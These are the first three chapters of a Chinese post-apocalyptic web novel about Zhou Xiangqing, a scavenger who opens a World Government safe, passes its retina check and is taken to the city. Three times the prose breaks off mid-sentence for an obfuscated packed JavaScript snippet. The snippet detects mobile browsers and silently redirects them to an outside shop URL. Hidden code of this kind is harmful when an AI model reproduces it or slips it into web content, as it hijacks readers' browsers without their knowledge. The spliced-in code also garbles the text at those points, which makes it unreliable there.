《后机械启示纪行》 1. 启程01 闹铃响了。整个小房车里都充斥着“哔哔哔”的蜂鸣声。 周向青从折叠床上爬起来,扳下闹钟的开关,然后从冷柜里抽出一根昨晚准备好的能量棒含在嘴里。她穿好衣裤,把头发梳齐,松松地挽成一条粗麻花辫垂在身后,接着拌了一碗谷粒、碎蔬菜混合黄粉虫的鸟粮,拉开房车车窗,把小碗放在窗外用铁丝拧成的架子上,然后又倒了一小碗清水。 用不着她叫,一只八哥就从窗户对面的灯柱上稳稳落了下来。它歪头看了看小碗,随即高高鼓起胸口,发出一连串跟闹铃一模一样的尖锐鸣叫。 “别叫了,已经起床啦。”周向青伸出手臂,用食指去捋八哥胸口上的羽毛。但八哥却不让她摸,一扑翅膀,跳上小房车的车顶,逃出了她的视野。然后一连串蜂鸣声又从那里冒了出来。 “你这家伙。”周向青抱怨了一句,关上窗户。能量棒已经大部分融化完毕,只剩短短的一截还在她嘴里。她索性把它嘎嘣嚼碎,就着一口冷水漱了口,一起咽下肚去。 接下来就是检查一遍工具包,戴上手套,再把那顶陪了她不知多久,也从不离身的红色帽子扣在头上。那帽子上绣着一个青色的货运飞船标志,货运飞船中央是一道黄色的闪电。 然后是最后一步,坐在房车门口的踏步上穿好鞋子。 “胖球,我走啦!”周向青跳出房车,锁好门,向八哥挥了挥手。 但胖球正撅着屁股大吃谷粒和小虫,没空理她。 周向青自己打着小电车,开上坑坑洼洼的道路。这条路是压路机从无数废弃物中间硬生生轧出来的,每次都颠得她屁股痛。因为在这里,构成地面的不是土壤和石块,而是上个世代累积下来的垃圾。细菌在享用完能够分解的有机物后早已饿死,如今剩下的都只是塑料、玻璃、金属、水泥之类任何生物都不能食用的东西而已。 不,还有人类。 某种程度上说,人比细菌还要顽强。 ——虽然说既然有人就会有细菌——但,人就是比细菌还要顽强。 之所以仍然有人生活在这里,是因为这些废弃物还有回收的价值。除了常见的塑料和金属之外,最值钱的是上世代留下的芯片等各种电子元件。只不过它们就像珍贵的矿藏,不但稀少,还往往深深埋藏在废弃物构成的山丘之下。 同样的丘陵起伏连绵,形成不知什么原因产生的废品巨坑的一道外环。据说这般大小的巨坑还有九个,而在九个巨坑的中心是一个深不见底的黑洞,那是世界的源头,也是世界的终结。 实际上没人见过什么所谓的黑洞,更不知道什么源头或是终结。这段话只是居住在这里时间最长的老陈伯喝醉了酒胡说的而已。周向青从没在这里没见过什么与众不同的东西。她只是和其他人一样收集废品,从中分拣拆解出有价值的可回收物卖给每周来一次的收购商,并换回每日的生活必需品。她不会像已经掉了牙的老陈伯那样瘪着嘴,用抑扬顿挫的声音说什么“这就是我等废品人的生存之道”,但人生就是这样一成不变地过。 啊,不过,也不完全是“一成不变”。 地面传来一阵猛烈的震动,逼得周向青停下了车子。一条巨大的机械鲸鱼撞破了地表腾空而起,圆润的机身在画过一道弧线后,一个猛子扎上远处的丘峰。那泛着金属光泽的长尾欢快地甩动着,把那巨大的身体重新送入这片废弃物的固体波涛之下。被这一跃卷起的废品碎片在晨曦中如天花般散落,形成一道五光十色的帘幕。此时,一声悠扬而清亮的啸叫才传到周向青的耳畔。 散布在沿路的其它房车也在鲸鱼啸叫的余韵中各自亮起灯,穿着工作服的人们涌上道路,彼此寒暄着向同一个方向汇聚。周向青也不由得重重拧下小电车的电门,迫使它痛苦地抖动着,跟着人群一同冲锋。 因为那条鲸鱼每次出现,总会把一些原本埋藏在地底深处的废品带上地表,而这正是捡到值钱东西的好时机。在人们把这里挖到塌方之前,能多挣一点是一点。某种程度上说,他们就像细菌寄生于人体一样,寄生在这条鲸鱼的身上。 虽然他们并没有真的寄生在这条鲸鱼的“身上”。 这当然只是一种修辞。 “这当然只是一种修辞。但如果鲸鱼不出现,那么废品就不会流动,那么有价值的东西就不会被翻出来,那么我们的收入就会少很多,甚至活不下来,统统饿死。所以,没有鲸鱼就没有我们,那么我们……” “但这些废品是鲸鱼制造的么?并不是,好吧。虽然我不知道为啥地底下会有鲸鱼,我也不知道那玩意吃什么活着——操,我都不知道它为啥叫‘鲸鱼’。话说,鱼又是什么?” “你连鱼都不知道?鱼就是生活在土里,吃蚯蚓为生的动物。” “嗬,行,那你说,蚯蚓又是什么?” “蚯蚓是一种吃土的虫,跟向青用来喂那只鸟的虫子差不多。” “你听听你说的什么屁话。鱼吃蚯蚓,鸟也吃蚯蚓,那鱼就是鸟吗?” “鱼怎么可能是——” “得了!闭嘴,你们两个蠢蛋!专心干活!你看看你干的那什么玩意,焊锡粘得到处都是!电路板都给我烧焦了!还有,不要再把针脚给我掰弯了!”工长大声咆哮,把扳手在工作台上敲得铛铛作响。 周向青脸上没有任何表情,手上的动作也一点没慢,只是心里暗暗发笑。李宝峰、李宝岭这对傻宝兄弟三十五六岁,是那种随处可见的和蔼、笨拙、妻子比他们伶俐不少的普通大叔。他俩平时一斗上嘴,就没完没了,奇话百出。不过,也算是无聊工作中的一点乐趣。 工长把傻宝兄弟训斥了一顿,踱着步子摇摇摆摆走开了。他才刚走远,李宝峰就低声埋怨:“你看你,问个没完,害得我也被骂。” 李宝岭反唇相讥:“谁让你啥也不懂还硬装。向青那个小小的鸟,跟那么老大的鲸鱼,能是一种东西吗?这话任谁他也不能信。不过话说回来,咱们这边还真的没见过别的鸟呢。” 李宝峰:“只有城里才有鸟。向青的鸟也是城里来的。” “得,又开始瞎说了。老杨也去过城里,可没听他说城里有什么鸟。”李宝岭丢下手头的焊枪,伸长脖子叫道:“向青,你的那个鸟,是城里来的吗?” 周向青一愣,手上的活也停了下来。 “呃……我不知道。”她说。 李宝峰踢了自己兄弟一脚,低声道:“你问这个干什么!你忘了那谁……”他的声音越说越低,渐渐听不到了。 “胖球是从哪里来的,这一点我还真没想过。”周向青像是没听到李宝峰的话一样,慢慢补充道。一丝黑色的情绪从她的心底泛起。她不由自主地抵触这类话题。 “没想过也无所谓,又不是什么大不了的事。”李宝峰急忙不自然地笑着说。 “是啊,我们也不是特别想知道。”李宝岭同样不自然地笑着附和。 “可能它真的就是从城里来的吧,迷路了,太远飞不回去了。”周向青接着自己刚才的话继续说。 “没错,就是这样。”傻宝兄弟一同用力点着头,同声说道。 “什么没错啊?又不干活在说话!还干扰人家向青!”工长不知道什么时候又从背后冒了出来。“你看看你这攒了多少件了!拆不完不准吃饭!” 傻宝兄弟闭紧嘴巴,退回自己的工作台去了。 “别老搭理那两个蠢蛋。这两个活宝真的是,成事不足败事有余。”工长骂完这一句,又道:“是这样,向青,今个儿老杨那边,貌似挖着了什么特殊的宝贝。他怕那头的工人拆坏了,就想借你过去。我说最近我们这边活也很多,帮忙可以,但得分我——我们三成。你猜怎么着?老杨,那个老杨,居然直接答应了。我揣摩着,大概不是什么便宜玩意。怎么样,向青?要不要去看看?” “什么东西啊?”还没等周向青回答,李宝岭的脑袋就已经凑了过来。 “肯定是今早鲸鱼翻出来的。八成是上个时代的玩意。”李宝峰说。 “说的什么屁话。埋在这里的哪个不是上时代的玩意?”李宝岭反驳道。 “我是说……” “你别说!你两个都别说!老实闭嘴,干你们的活去!向青,怎么样,去看看?”工长眨巴着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088290|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小眼睛。 “好的。”周向青开始收拾自己的工具。 工长这样拜托她也不是第一次了。不知道为什么,她对这些上个时代留下来的旧东西,有一种与生俱来的敏锐直觉。也没有人教过她什么,但她就是很擅长把废品,尤其是电子废品,拆成无数零件。不熟练的工人经常弄歪针脚、焊透外皮,或者让静电击穿元件。但她从来不会。她的手就像机械一样稳定、精准,大脑里就像自带着一副电路图。 所以废坑周围有什么处理不了的东西,都会来找她。 周向青背着她的小包,跟工长一起坐电梯去老杨那边。 老杨是另一个队伍的工长。每个工长都负责——或者说是承包——巨坑的一段区域,他们组织人手,挖掘、分拣、拆解、整理、销售。他们还包办这些人的吃喝拉撒,当然也划走最大一块分成。工长有点像是一个大家庭的家长,只不过这个家庭不是由血缘,而是由分工组织起来的。无数个这样的家庭分布在巨坑的四周,并随着这里环境的变化而迁徙、兴衰。 老杨所占据的分段是在巨坑的下段。这里通常能够挖出一些较为沉重、坚固的硬货。也正因此,老杨手下缺少像周向青这样精细的人才;也正因此,老杨也最常与周向青的工长合作。 工长和周向青抵达的时候,老杨正等在电梯的门口。他的脸色并不是很好看,那是一种混合着贪婪、兴奋、警惕、忧虑的神情。 “老杨,怎么了?”工长问。 “没什么。只是事情有点超出预期。”老杨压着嗓子说,装出一副平静的样子。但他脚下那一地烟头将他的内心暴露无遗。 “所以到底怎么了?”工长再次发问。 “你跟我来吧,解释不如让你亲眼看一看。”老杨带着工长和周向青沿着花纹板铺成的过道一路向前。三人的体重压在凹凸不平的铁皮上,咚咚作响。 “这不是去你办公室的路。”工长说。 “我们去现场。”老杨回答。 “去现场干嘛?你准备在现场开拆?”工长问。 “不是。只是让你看一眼,明白事情的严肃性。”老杨绕过一个弯,进入一个挖掘坑。 坑里站着三个头戴安全帽的大汉,守着一个并不算大的黑色箱子。另一边的地上,躺着两个浑身是血的人,还有一个被捆得严严实实的老人躺在地上不断挣扎。两把沾血的镐头扔在他们之间。老人的嘴大概是被堵住了,他一边扭动,一边发出呜呜的声音。 三个大汉看到老杨过来,恭敬地叫道:“老爹。” 老杨嗯了一句,说:“这就是为啥。” 周向青瞪大了眼睛。 而工长却像没看到那两个浑身是血的人一样,说:“这像是那种老式的放文件的保险柜。” “没错。”老杨说。 “但要说是普通的保险柜,事情也不至于变成这样。”工长摸着下巴思忖。 “没错。” “所以,这到底是放什么的?” 老杨咳嗽一声,两个大汉便上前把保险柜转了个方向,让正面对着工长。那柜门上用金色的线条勾出一个特殊的徽记。长长的巨龙盘在高大的方尖碑上,巨龙口尾相对但又不相连,双眼望向方尖碑底部的十字星。 工长倒抽了一口凉气。“这是……” 老杨点了点头。“没错,是世界政府。” “如果……那这可能是、是那最后一个,自动化大崩溃的——” “所以你明白了吧。这几个家伙居然想瞒着我把这玩意藏起来。真的是忘恩负义。”老杨故作平淡地想挤出一个笑容,但他的嘴角仍然神经质地抖个不停。那三个大汉则紧紧盯着工长和周向青的表情。 工长正色道:“我嘴巴一向很紧的。” “她呢?”老杨斜睨着周向青。 “她更不会乱说了。向青绝对不是那种人。我替她担保。”工长说。 “好,知道的人越少越好。”老杨向工长伸出手来,工长毫不犹豫地紧紧地一把握住。 两人的脸上都浮现出贪婪、兴奋、警惕、忧虑的神情。 2. 启程02 自动化大崩溃,是上个时代和这个时代的分界线。 没人说得清“自动化大崩溃”到底是什么东西,但自动化大崩溃是公认的导致上个时代人类社会解体的事件。世界政府就是在大崩溃中被前人抛弃,又被后人遗忘在历史的尘封中。自那以后,近乎永恒的生产停滞,以及此起彼伏的百年战争,把上时代的城市变成了一片片废墟。大崩溃的真相,也被后来的混乱局面所埋没,如今已经无人知晓。世界政府在最终垮台之前,把记录“大崩溃”这一重要事件的官方档案整理备份了十四份。人类历史中,对这一影响人类命运的、至关重要之事件的官方记录,仅此而已。 但也就是在大崩溃结束之后,废墟中突然出现了“机械鲸鱼”之类不知源自何处的东西。人们称其为“活化机械”,只敢远观,不敢亵玩。人们都默认它们与大崩溃有千丝万缕的联系。 但大崩溃的真相仍旧埋藏在废墟之间。 迄今为止,已有十三份档案借挖掘回收废品之手重见天日。但由于十三份档案的数据都有不同程度的永久性损坏,仍然有一部分关键的真相不为人所知。 所以,尽快找到最后的一份档案,就显得尤为关键且必要。对这段历史有需求的个人或组织,自然不惜出重金收购一切有价值的消息。 而最后一份档案有很大概率就在这个保险柜里。 “所以我们怎么打开这玩意?”看着周向青用她那大大小小的工具检测完整个保险柜,老杨迫不及待地问。 “这柜子总共三层,内置供电,如果有外力破坏就删除内部数据。但按照常理推断,在柜子从它原来的位置移动之后,应该就实际上触发这个机制了。所以不论怎么说,完整的数据都不在了。但只要存储器没有物理破坏,数据就并非不能恢复。所以我们主要是防止二次破坏触发物理销毁的保险措施——比如这里有一个疑似爆破装置的部分,而这里似乎原来装着什么溶液,会在外力打开柜门时触发。总之,我们先固定整个箱子,再从这里、这里、这里用M2钻头打孔,50mm穿深,同时切断电源、感应器、触发器的线路,然后再切开正面连接的部分。” 周向青用粉笔在保险柜上画了三个叉。在谈到具体问题的时候,周向青的话就比平时多了不少。做事总比做人更容易。把注意力放在这个保险箱上,她就可以不去考虑那些她不想考虑的事情了。比如那两个倒在血泊里的人,以及被捆住的老人的命运。 老杨的儿子们把保险柜抬上钳工台。他们用扁钢和角铁焊了一个简易支架,把电钻固定在柜体的对应位置,然后用夹具把保险柜夹好。 电钻嗡嗡作响,把坚固的柜体变成一堆堆碎屑。三个孔很快钻好,周向青用细长的夹钳切断暴露的线路,随后又用电锯将柜门的门轴与锁舌锯断,把柜门拆了下来。外层的密码锁柜门拆掉之后,露出了一个带着摄像头的操作面板。 “看样子是检测视网膜的锁。这个一般来说是连着报警装置,多次错误就会直接报警。不过现在倒是无所谓,因为我们已经把……”周向青越说越慢,渐渐停了下来。因为她注意到这道门的门框上有打孔和补焊的痕迹。在另一侧还有几道细小的划痕。 似乎是在之前就有人尝试打开这一道门。 周向青又把拆掉的外门拿起来检查,又绕着保险柜看了一圈。但似乎除了他们刚刚留下的痕迹之外,没有别的暴力拆解留下的痕迹。 这说明这个试图打开保险柜的人拥有外门的密码,但他无法通过内层的视网膜检测。 这到底是什么时候的事情?周向青仔细检查那些痕迹,但由于柜子密封很好,那些痕迹氧化的程度不深,她无法分辨。 “怎么啦?”一个大汉看周向青迟迟不动,便出声问道。 “有点奇怪,或许不是什么大问题……”周向青不太想说没有根据的猜测,但如果有人在里面动过手脚,报警装置或许被添加了别的用途。但她第一次检测的时候,也没有看到什么特殊之处。至少可以判断它没有被改造成一个杀人陷阱。但值得怀疑的是,里面现在是什么东西? “这是什么?是要按这些按钮吗?”另一个大汉也凑了过来,伸手想去摸操作面板上的按钮。 “你捣什么乱!”老杨一掌打上大汉的手背。但大汉的手一歪,手指恰好戳中一个按钮。柜门上的指示灯顿时亮了起来,摄像头像一个刚刚从睡梦中醒来的卫兵,眯着眼审视面前的许多张脸。 “嘟——验证不通过。”指示灯闪着刺眼的红光。 老杨和他的儿子都吓了一跳,急忙后退到摄像头看不到的地方。 周向青也吃了一惊。她本以为自己已经切断了这些东西的电源。难道还有一个备用的电源吗?或许这个打孔痕迹是重新补设了临时电源,或者另外布了一条她没注意到的线?那么就有必要重新考虑一下…… 她望着保险柜门,保险柜门上的摄像头也静静地望着她。 指示灯突然从红色变成了绿色。 “嘟——验证通过。” 柜门内响起了齿轮转动的声音。伴随呜呜的摩擦声,锁舌缩了回去,保险柜门“咔锵”一声,打开了。 什……什么情况? 为什么验证会通过? 周向青一下子愣住了。 与此同时,老杨和工长腰间挂着的通话器突然响起了“咯咯咯”的电流声。 “无线电信号!”周向青不由得轻声叫道。 “什么?什么信号?”老杨和工长就像在找什么能看得到的东西一样,左顾右盼。 难道是当年的报警装置被电涌刺激到,出错而工作了?还在周向青犹豫的时候,柜门内又发出“嗤嗤”的响声,然后又是“嘣”的一声爆炸,像是有谁在柜子里放了个鞭炮。 “天啊!”老杨尖叫一声,冲上去一把拉开柜门。其他人也都围拢上来。一股青烟散去后,大家看到,冒烟的只是保险柜的内门,而电磁保护层和存储器都完好无损。 “快,快把它们拆出来!”老杨急不可耐地催促道。 周向青只得先放下心里的问题,把存储器一个个小心拔下,然后把电磁保护内衬从保险柜里拆出来,再把存储器插回对应的槽位,把那一堆东西递给老杨。 老杨像接过国王的王冠一样小心翼翼,一张丑脸也笑开了花。他的三个壮汉儿子则像御林军一样拱卫在他身边。 “那我们的事就算做完啦,”工长说,“接下来你打算怎么办?” “我还得找人看看这些数据能不能恢复,顺便联系一下买家。你也别急,钱我绝对是不会少给你的。”老杨说。 工长说:“我倒不是担心那个。我只是想,咱们跟城里人都没什么交情,顶多就是把东西直接卖给来收货的季老鬼,这次弄这么个烫手的货……” 老杨说:“我这次不想经过他。平时让他挣个转手费也就罢了,这次少一层中间人,到手的钱能多几倍。这一票干完,咱们下辈子都能直接住到城里,不用再干什么活了。” 工长说:“但直接跟老鼠们打交道,太冒险。” “你就不用管啦,这事情都在我身上。”老杨显然急着把这批存储器先收起来,不想再就这个问题多说话。 “好吧,”工长也明白了老杨的意思,“向青,我们回去。” 周向青的思绪仍然陷在刚才古怪的情况之中。交易和分账从来不是她考虑的事情,她也并不在乎。她更关心保险柜内侧奇怪的打孔,为什么她可以通过视网膜验证,以及最后的小型爆炸到底是什么情况。 “杨工长,我想再看一下刚才的保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088291|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险柜。我有点事情没搞清楚。”周向青鼓起勇气说。她还是很不习惯跟这个老杨直接打交道。 “啊?随便。想要什么拿走也没关系。但柜子外壳给我留着,万一买家想要做个纪念呢!”老杨说完,自顾自地哈哈笑了一会。然后他收起笑容,转向自己的三个儿子,说:“你们去把剩下的那些收拾了。” 他说的是那两具尸体、捆起来的老人的事。三个大汉点点头,离开了。 周向青拆开保险柜内门的背板,把电路板取下收进背包。工长等她做完,两人一同沿着进来的花纹板路走回电梯。卷扬机卷动钢缆,电梯平台就在嗡嗡声中慢慢爬升。 “向青,今天的事……”工长先打破了沉默。 “我不会跟别人说的。”周向青回答。 “我倒也不是那个意思。我去之前,老杨也没跟我说清到底是什么事情,结果一去了遇到那种场面。我并不是想——” “我知道。我现在已经不想那些事了。”周向青回答。 “那就好。”工长如释重负。 周向青明白工长的意思。虽然工长“替她担保”,但那只是在那种情势下的发言,并不真能担保什么。而在那下面发生的事情……她知道,在废坑边,每年多少都会因为一些“意外”而消失一些人。虽然一个工组是一个“家庭”,但家庭并非完全没有秘密。 她不想去追究那些秘密。 有那个时间,她更想花在简单且实在的事情上。 比如今天那个“验证通过”是怎么回事。 毕竟她的家人只有一个。 “——你说是吧,胖球?”周向青问。 刚洗完澡,正蹲在灯下歪着头晒羽毛的八哥看了她一眼,一本正经地答道:“胖球乖,哇是胖球。” 周向青今天提前下了班。工长并没有说什么,痛快地把她剩下的工作分给了傻宝兄弟。她骑上小电车回来,就开始研究那块保险柜里的电路板。 其实也没有什么特别值得研究的东西。 视网膜验证器的原装校验模块被人手动跳接了,所以校验调用的并不是原本的线上校验库,而是焊上去的一个本地库。警报器也同样被改装过,改装者将其功能调整为在特定的频段发送一段预设的信号,然后通过电池过载自毁来破坏无线电路,以避免他人得知频段和信号的具体内容。改装用料明显比原有的电路粗陋很多,像是临时性的作品。 周向青只是有点不太明白。 显然,改装者的目标不只是窃取里面的内容——他大概是复制了一份,然后把原本的存储器全部留了下来——而其它的改动更像是改装者希望它被特定的某些人打开,然后在打开后发出信号通知另外一些人。 但问题是,它是在履行上个时代遗留的使命,还是触发这个时代设下的陷阱?它又是在通知谁?它又想通知那些人什么呢? 但这些问题的答案已经被这块过载的电池摧毁了。 而周向青现在知道的唯一一个至关重要的信息,又产生了一个更为复杂的问题——为什么她可以通过视网膜验证? 要说上个时代的人计划把这个箱子送给百年之后的她,那未免有些太过于荒诞了。如果说改装保险柜的是这个时代,某个认识她的人……但她完全想不到谁有这种能力,更想不出这样有什么意义。 她没去过巨坑之外。她甚至都从来没有去过那个所谓的“城里”。她和世界政府的最后一份档案之间,没有任何联系。 她能够回忆到的过去,全都只是一直独自住在这个小小的房车里,和眼前的这只八哥在一起。她全部记忆中的,只有这些内容。 周向青把胖球叫到手上,轻轻梳弄它脖颈上的羽毛。 胖球歪着脑袋,眯起眼睛,一副很享受的样子。 3. 启程03 接下来的几天,都没有什么特别的事情发生。 两个丈夫遭遇意外的女人拉扯着几个孩子,在工人们上班的路上大叫大嚷了几回,但老杨很快用了什么方法,让她们不再出现了。傻宝兄弟围绕这件事展开了不少猜测和辩论,但周向青什么都没有说。工长也明显有躲开她视线的意思,甚至都没有在傻宝兄弟争论的时候出面让他们闭嘴。 但人的注意力总是有限的。在季老鬼和他的大货车开到巨坑旁边那天,大家就已经忘记了这回事情,每个人都笑着簇拥在大货车前,等着季老鬼从驾驶室里钻出来了。 季老鬼是一个永远“咪嘻咪嘻”假笑的皱核桃似的老头,他和他的大货车差不多每七天来一次。他来这里只有一个目的,就是赚钱。他从城里带来食品、衣物、工具等杂货,以及人们托他购买的各种小玩意儿,然后把这段时间工长们回收的物料装车拉回城里。他赚的就是其中的差价。周向青每周也有拜托他带的东西,主要是胖球的粮食,还有她做能量棒的材料。 但这次季老鬼来的时候,态度跟平时不太一样。周向青从他那里领自己包裹的时候,明显感觉出季老鬼的脸上少了一点笑意,多了一点猜疑的酸臭味。季老鬼这次发完包裹后,没有像往常那样盯着工人们把东西搬上搬下,生怕掉了一个螺丝两个电阻,而是把老杨拖到了货车车头,躲在拉开的车门后面咬耳朵。 周向青猜到是跟保险柜有关,便绕到货车另一侧,偷偷靠了过去。 两个人的谈话声传进了周向青的耳朵。 “老杨,你这样不对了啊。”季老鬼说。 “我咋了?”老杨反问。 “你以为你直接跟那些人做生意,能瞒得过我?你发财,不照顾老朋友,这样不对。” “跟你有啥关系?我爱跟谁做生意,你管得着?”老杨不快道。 季老鬼怒道:“我管得着!你信不过我,嘿,人家还信不过你咧。昨天晚上老鼠来找我,问你是个怎么样的人。早知道你是这样的人品,我就不说你的好话!” 老杨一愣,问:“老鼠来找你?找你干什么?” “找我干什么?想知道你是个什么东西!你以为你能甩开我季老鬼,自己跟杜老板做生意,嘿,门都没有!你不找我,人家也要来找我!亏得我还跟人说,你人品不错,靠得住。结果没想到,你心里惦记的是一脚把我蹬了!真的是,人无千日好……” “所以杜兴田找你干什么?”老杨打断了季老鬼的唠叨。 “唉哟,人家堂堂杜老板,怎么可能找我?是华家的小子。他最近不学厨啦,去跟杜老板的四当家当跑腿,人家赏识他机灵,就把这个活给他办。华家的小子知道我在你们这边跑生意,就直接来问我,然后我才知道这个事。所以你到底挖到了什么好货,想要跳过咱们这么多年的交情不讲,吃独食?” “没什么特别的,就一点收藏的老玩意。” “哼,嘴里没有一句实话。算了,我这次也算是看透你咯。我办完人家交代我的事就走,也不跟你废话。以后咱们什么事都公事公办。我也不给你打折,也不给你抽水,我从别人那赚多少,从你这也赚多少,我给别人卖多少,也给你卖多少……” “所以人家到底交代你什么事呢?”老杨已经颇不耐烦。 “杜老板让你,连上你最多两个人,带上东西,明天上午十点半,在鼎新楼见面。” 老杨一惊:“杜老板让你带的话?” “唉哟,人家堂堂杜老板,怎么可能找我给你带话?是杜老板让四当家的找人带话,而四当家的让华家小子跑这个腿,华家小子买了套新衣服、新车子,嫌这里脏,不想到这里来,所以又来找我,他知道我今天要上你这送货。真的是,人都是一样,要是得了富贵,就不认……” 周向青越听越觉得无聊。她本来还指望着听到一点跟那保险柜的来历相关的事情,却不料净是抱怨和生意。她正打算转身离开,肩膀却被一股蛮力给牢牢按住了。周向青扭头一看,认出是之前老杨那三个儿子里的一个。紧接着,另一个壮汉儿子也出现在她面前。还有老杨。 “你爪子那么大,弄疼人家怎么办。”还没等周向青开口,老杨却先一掌拍开了他儿子的手。“那个,你叫什么来着?” “周向青。” “嗯。我就问你一件事。陈汉呢?”陈汉是周向青工长的名字。 “我不知道。”周向青马上猜到,老杨担心是工长让自己来偷听的。“我就是来拿个包裹,看到你们说话,一时好奇,但也听不太清楚。我不知道工长在哪,今天都没见过他。” 老杨盯着周向青的眼睛看了一会,似乎在考虑什么。然后他说:“这样的话,要不要今天跟我去城里玩一晚上?你也听见了,人家约我明天见面,我能再带一个人。带这几个废物儿子也没什么用,所以就你,和我,去城里。” “我?叫我去干什么?” “你看,我不懂这东西的事情,你总比我懂一点。”看到周向青想要辩驳,老杨竖起手指示意她闭嘴,一面继续说道:“但主要的原因是,你是陈汉眼里的小红人,所以我不想把你怎么样。但我也不想让陈汉那么快就知道我去了哪里。所以我考虑着,带你一起去,对我,对你,对陈汉,都有好处。” 这个提议实际上是个威胁。周向青明白自己如果拒绝的话,这个“好处”就会变成“坏处”。 但是,那个买家,杜老板,既然愿意购入这个东西,或许也知道一点关于这个保险箱的事情。比如,为什么她能够通过视网膜验证。 那么走这一趟或许还不错。周向青抱紧了自己的包裹:“那……我能不能先回去一趟?我还没有喂鸟。” “季老鬼已经准备要回城里了。而且,鸟一天不吃也饿不死。”老杨从周向青怀里抓起包裹,扔给自己的儿子,并吩咐道:“你把这玩意送到她家门口。” 周向青没有办法,只得跟老杨一起上了季老鬼的大货车。驾驶室还挺宽敞,是双排座。季老鬼正坐在驾驶室里等着。周向青跟季老鬼的衣服、鞋子、啤酒瓶、食物残渣,以及各种杂物一起呆在后面。她头一次坐在这么高的驾驶室里,新奇的感觉还是大于了不满。她坐的位置甚至比外面的人群还高。老杨则坐在副驾驶的位置。 季老鬼看到两人上车,便点着了发动机。整个大货车怒吼一声,轰轰地震动起来。季老鬼按了两声喇叭,然后一脚油门,货车冲开人群,它的尾部扬起股股烟雾,昂首游入垃圾的海洋。 这让周向青想起那条巨型机械鲸鱼出现时的景象。 只可惜这辆大货车只不过是人类的造物,并不像鲸鱼那么美丽。 但大货车是可以游到城里的鱼。 城里并不远。但在巨坑边是看不到城里的。 城里也不近。但也有人可以只一天就去城里打个来回。 第一次从坑边出来的周向青盯着玻璃外面的荒凉的景色看了两个小时,但还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088292|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看不到城市的影子。这种不确定让她不由得抱怨了一句。 季老鬼道:“这世界就是这样,你永远不知道一条路到底有多长。” “是吗?” 季老鬼吃吃笑着,说:“你就自己看吧,差不多快到那里了。” 周向青并不明白季老鬼的笑是因为什么,但她很快就明白了。 那是一排高耸入云的笔直圆柱,每根圆柱都有层层叠叠的叶片围绕柱身呈螺旋状铺开。叶片上覆着一层浓浓的绿色,有许多亮着灯的小东西在上面爬来爬去,似乎是在收集什么。天色渐渐暗淡,而那些叶片的背面却微微亮起光来,而叶片也跟着轧轧转动,似乎是在让上一层叶片底部的光线永远垂直照射在下一层那浓浓的绿色上。 虽然周向青并不了解这到底是什么东西,但她能猜到,这跟她平常能够看到的鲸鱼是一种东西——虽然不是“一种”,但应该是从同一个地方,或者是同一个源头产生的。它们有同样的优雅感觉。 “怎么样?”季老鬼得意地问。 “挺惊人的。”周向青答道。 “是吧。东边那个坑还有一些更好看的东西,比这里的还多还大。你在坑边可看不到。如果继续往外走,往远走,到了公司或者教会的领地上,大概能看到更多千奇百怪的东西。如果说你的眼睛只是盯着从废坑到城市两点一线的话,这条路自然并不长,一趟甚至用不了三个小时;但是如果你看看路周围的东西,你会感觉这世界是无边无际,而脚下的路也是没完没了。” “又在吹你的活化机械了。活化机械就那么好看?”老杨对季老鬼夸耀般的语气颇为不满。 季老鬼反诘道:“且不管好看不好看,如果没有这些活化的机械,你大概早饿死啦。你看它叶片上那些绿色,那种的是供给城市的粮食蔬菜。它的产量要比我们自己种高得多。” “要是没有这些活化的机械,自动化大崩溃还不会发生呢!我们也用不着在这种地方,过这种日子!”老杨怒道。 “那只是一种解释。”季老鬼把“一”字说得很重很长。 “那么,自动化大崩溃到底是什么呢?”周向青问。 “就是这些鬼东西不知道用什么方法,在电脑程序里植入了病毒——” “哼、哼、哼。只有解释,目前只有各种各样的解释。”季老鬼打断了老杨的话。“有说病毒的,有说世界政府阴谋的,还有说活化机械才是人类和机器的真正未来的。但不管他们怎么说、说什么,都只不过是解释。唯一的事实就是,上世代的那些电脑程序、人工智能,突然就坏掉了,依靠它们转的世界也就完蛋了。而我们老百姓,只是逆来顺受,有什么就用什么罢了。解释是那帮吃饱了撑着的人干的事情,也是最没意义的事情。” “但只要有人愿意为解释出钱,那它就不只是解释,是真的。”老杨双手抱在胸前反驳道。 “你这个解释倒也没错。”季老鬼回应。 “哼。”老杨转过头。 季老鬼若有所思地瞟了一眼老杨的神色,表情却渐渐沉了下来。过了一会,季老鬼还是忍不住问:“你该不会是挖到了这方面的什么东西吧?” “没有。”老杨毫不迟疑地回答。 季老鬼叹了口气。“我们快到城里啦。”他说。 